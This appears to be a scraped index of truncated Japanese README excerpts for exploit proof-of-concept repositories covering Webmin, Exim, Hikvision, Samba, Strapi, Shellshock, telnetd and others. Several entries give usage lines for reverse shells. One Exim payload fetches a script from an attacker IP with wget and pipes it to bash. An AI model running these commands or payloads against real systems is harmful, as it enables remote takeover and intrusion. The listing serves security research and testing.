CVE-2012-2982-Webmin-Exploit

Webmin 1.590 リモートコマンド実行エクスプロイト CVE-2012-2982 概要 このリポジトリには、Webmin バージョン 1.590 以前 に影響するリモート認証済みコマンド実行の脆弱性である CVE-2012-2982 の Proof-of-Concept PoC エクスプロイトが含まれています。この脆弱性は /file/show.cgi エンドポイントに存在し、攻撃者は操作したリクエストに特殊文字（| パイプ記号など）を注入することで任意のコマンドを実行できます。 本 PoC は教育およびセキュリティ研究目的のみ...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 脆弱性 CVE-2019-10149 の悪用のための PoC 使用例 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2026-40176-poc

CVE-2026-40176: Composer Perforce OSコマンドインジェクション PoC English version 概要 このリポジトリは、Composer の Perforce VCSドライバに存在する重大なOSコマンドインジェクション脆弱性 CVE-2026-40176 のProof of Concept PoC です。この脆弱性は、Composer 2.2.27および2.9.6より前のバージョンに影響します。 脆弱性は Perforce::generateP4Command メソッドに存在します。シェルコマンドを組み立てる際、url、p4user、client...

hikvision-unauthenticated-rce-cve-2021-36260

ハイクビジョン CVE-2021-36260 RCE 脆弱性 脆弱性の説明 攻撃者は本脆弱性を利用して、無制限のroot shellによりデバイスを完全に制御できます。デバイスの所有者が制限付きの保護されたshell（psh）しか使用できない場合でも同様です。IPカメラへの侵入に加えて、内部ネットワークへのアクセスや攻撃も可能です。 FOFA root@kitploit: header="Hikvision" app="HIKVISION-视频监控" 使い方 root@kitploit: python ./CVE-2021-36260.py -u...

CVE-2026-4480-POC

CVE-2026-4480 - Samba印刷サブシステムのリモートコード実行 概要 CVE-2026-4480 に関連する概念実証および研究資料です。これはSamba印刷サブシステムに影響を及ぼす深刻なリモートコード実行（RCE）の脆弱性です。 この脆弱性は、ユーザーが制御する印刷ジョブの説明が、%J 置換パラメータを介して設定された print command に渡される際の不適切な処理に起因します。 脆弱性の詳細 CVE: CVE-2026-4480 コンポーネント: Samba印刷サブシステム 種類: OSコマンドインジェクション（CWE-78） 影響: リモートコード実行...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc CVE-2019-12840 のスタンドアロン PoC。 以下は、ポート443でリバースシェルを送り返します。 root@kitploit: $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || || | | | | |...

CVE-2026-34234-Lab

CVE-2026-34234 - CtrlPanel インストーラー RCE ラボ CtrlPanel の CVE-2026-34234 を実証するためのローカル Docker ラボです。 このリポジトリは以下を比較します: vuln: ダイジェストで固定された CtrlPanel 1.1.1 patched: ダイジェストで固定された CtrlPanel 1.2.0 このラボはローカルのみで動作し、サービスは 127.0.0.1 にバインドされます。 概要 CVE-2026-34234 は、CtrlPanel の Web インストーラーにおける認証なし RCE です。...

CVE-2024-24590

ClearML エクスプロイト このリポジトリには、ClearML のデシリアライゼーションの脆弱性を悪用する概念実証エクスプロイトが含まれており、リモートコマンド実行を可能にします。このエクスプロイトは、悪意のあるピクルスアーティファクトを ClearML にアップロードしてリバースシェルを取得する方法を示しています。 前提条件 始める前に、以下の要件を満たしていることを確認してください: ClearML を実行しているマシン。 Python 3.8 以上。 clearml ライブラリがインストールされていること。pip を使用してインストールできます: root@kitploit:...

React2Shell-CTF

🛡️ React2Shell CTF 🚀 React2Shell-CTF へようこそ。これは React2Shell CVE-2025-55182 の悪用を練習するために設計されたDocker化環境です。 React2Shell は、Reactベースのアプリケーションに影響を与える重大な脆弱性です。このリポジトリは、この欠陥を理解し緩和するための、安全でローカルにデプロイ可能なCapture The Flag CTF チャレンジを提供します。リバースシェルを取得できますか？ 🐚 ℹ️ 脆弱性情報 CVE-2025-55182 の完全な技術的説明については、公式情報ウェブサイトをご覧ください：...

CVE-2019-9978

CVE-2019-9978 – 概念実証 PoC CVE-2019-9978 の脆弱性に対する機能する PoC です。この脆弱性は WordPress プラグイン Social Warfare = 3.5.2 に影響し、リモートコード実行 RCE を可能にします。 📌 説明 このエクスプロイトは swpdebug=loadoptions パラメータを悪用してリモートペイロードの読み込みを強制し、対象サーバーでのコマンド実行と リバースシェル の取得を可能にします。 ⚠️ 教育目的および許可された環境でのみ使用してください 。 🧰 要件 Python 3 脆弱な...

CVE-2020-17530-s2-061

CVE-2020-17530-s2-061 s2-061のGUI用exp、楽しみと練習のためだけです 使用 root@kitploit: python CVE-2020-17530.py ターゲットアドレスを入力 実行したいシステムコマンドを入力 実行をクリック PS: expにはリバースシェル関数が組み込まれていますが、GUIにボタンや設定項目を追加するのが面倒だったので、これくらいにしておきます...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 および 19606 Strapi CMS バージョン 3.0.0-beta.17.7 以前における Blind Remote Code Execution でリバースシェルを取得 はじめに プログラムの実行 python3 を使用 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 ヘルプ ヘルププロンプト root@kitploit...

Elastix-2.2.0-CVE-2012-4869

Elastix 2.2.0 ローカルファイルインクルードエクスプロイト - CVE-2012-4869 説明 このスクリプトは Elastix 2.2.0 のローカルファイルインクルード LFI 脆弱性を悪用し、callmepage.php エンドポイントを介してコマンドを注入することでリモートコード実行 RCE を可能にします。このエクスプロイトは CVE-2012-4869 に基づいています。 特徴 TLS 証明書の検証をバイパスします。 Perl リバースシェル ペイロードを使用します。 リバースシェル用のカスタム LHOST および LPORT をサポートします。 HTTPS...

bin2shell

bin2shell bin2shell は、バイナリファイルからシェルコードを抽出するための非常に小さなユーティリティです。 root@kitploit: bash bin2shell.sh additionNum \x45\x6e\x74\x65\x72\x20\x4e\x75\x6d\x62\x65\x72\x20\x31\x20\x3a\x20\x45\x6e\x74\x65\x72\x20\x4e\x75\x6d ありがとう TOUHID SHAIKH...

CVE-2019-18818_CVE-2019-19609

CVE-2019-18818 および CVE-2019-19609 のエクスプロイト このリポジトリには、CVE-2019-18818 および CVE-2019-19609 の 2 つの脆弱性を悪用する Python スクリプトが含まれています。 CVE-2019-18818 この脆弱性により、攻撃者は Strapi CMS の管理者ユーザーのパスワードをリセットできます。 使用方法 1. スクリプト内の target 変数と strapiport 変数を、対象の Strapi インスタンスに合わせて変更します。 2. スクリプトを実行して、管理者パスワードをリセットします。...

CVE-2026-24061

🚨 CVE-2026-24061 —「TelneTD」 GNU Inetutils telnetdにおける重大なリモート認証バイパス 2015年の亡霊が、まだtelnetを動かしている全てを乗っ取るために舞い戻った。 認証不要。環境変数一つ。即座にルートシェル。 ⚠️ 概要 CVE-2026-24061 は、GNU Inetutils telnetd ≤ 2.7 における重大なリモート特権昇格 脆弱性です。 認証されていないリモート攻撃者が、Telnet NEW-ENVIRONオプションを介してUSER環境変数を"-f root"に設定します。 telnetdはそれをサニタイズせず...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Webmin =1.920 に問題が発見されました。passwordchange.cgi のパラメータ "old" と "expire" には、コマンドインジェクションの脆弱性が含まれています。 使用方法 1. 赤いボックスでリスナーを起動します。 root@kitploit: rlwrap -cAr nc -lvp 1919 2. エクスプロイトを実行します。 root@kitploit: ./exploit.sh 3. 次の引数がプロンプトで求められます：...

CVE-2017-11610

CVE-2017-11610 Supervisor 3.0a1～3.3.2 向け 未認証リバースシェルRCE Python 3.6以上用のスタンドアロン未認証RCEエクスプロイト。対象はSupervisor 3.0a1～3.3.2。この Metasploitモジュール から書き直したものです。解説 記事はこちら。 Python 3.7で、Supervisor 3.3.2が動作する このターゲット でテスト済み。 使い方: root@kitploit: root@Kali:/Infosec/RubyStuff/Supervisor-3.3.2 ./exploit.py -h usage:...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 シェルショック エクスプロイトスクリプト 🎯💻🔍 このPythonスクリプトは、シェルショック脆弱性 CVE-2014-6271 を悪用して、脆弱なターゲット上でリモートからコマンドを実行したり、リバースシェルを確立したりします。 🛠️⚠️ ⚠ 免責事項 🚨❗ このスクリプトは、教育目的および許可されたペネトレーションテストのみを目的としています。明示的な許可なくシステムに対して不正に使用することは、違法かつ非倫理的です。セキュリティテストを実施する前に、必ず適切な許可を取得してください。 ⚠️🛑🚔 🔥 機能...

CVE-2016-3714

CVE-2016-3714 ImageMagick コード実行 CVE-2016-3714 imagickbuilder.py = CVE-2016-3714 を悪用するためのシンプルなペイロードビルダー imagickbypassshell.php = PHP の imagick 拡張ラッパーを利用して無効化された関数をバイパスする PHP ベースのウェブシェル 動作している様子の画像: ペイロードビルダー: imagick ペイロード vs ImageMagick 有効な vBulletin 4.x: ペイロード発動後のサーバー側: ウェブシェル: コマンド実行: ファイル読み取り:...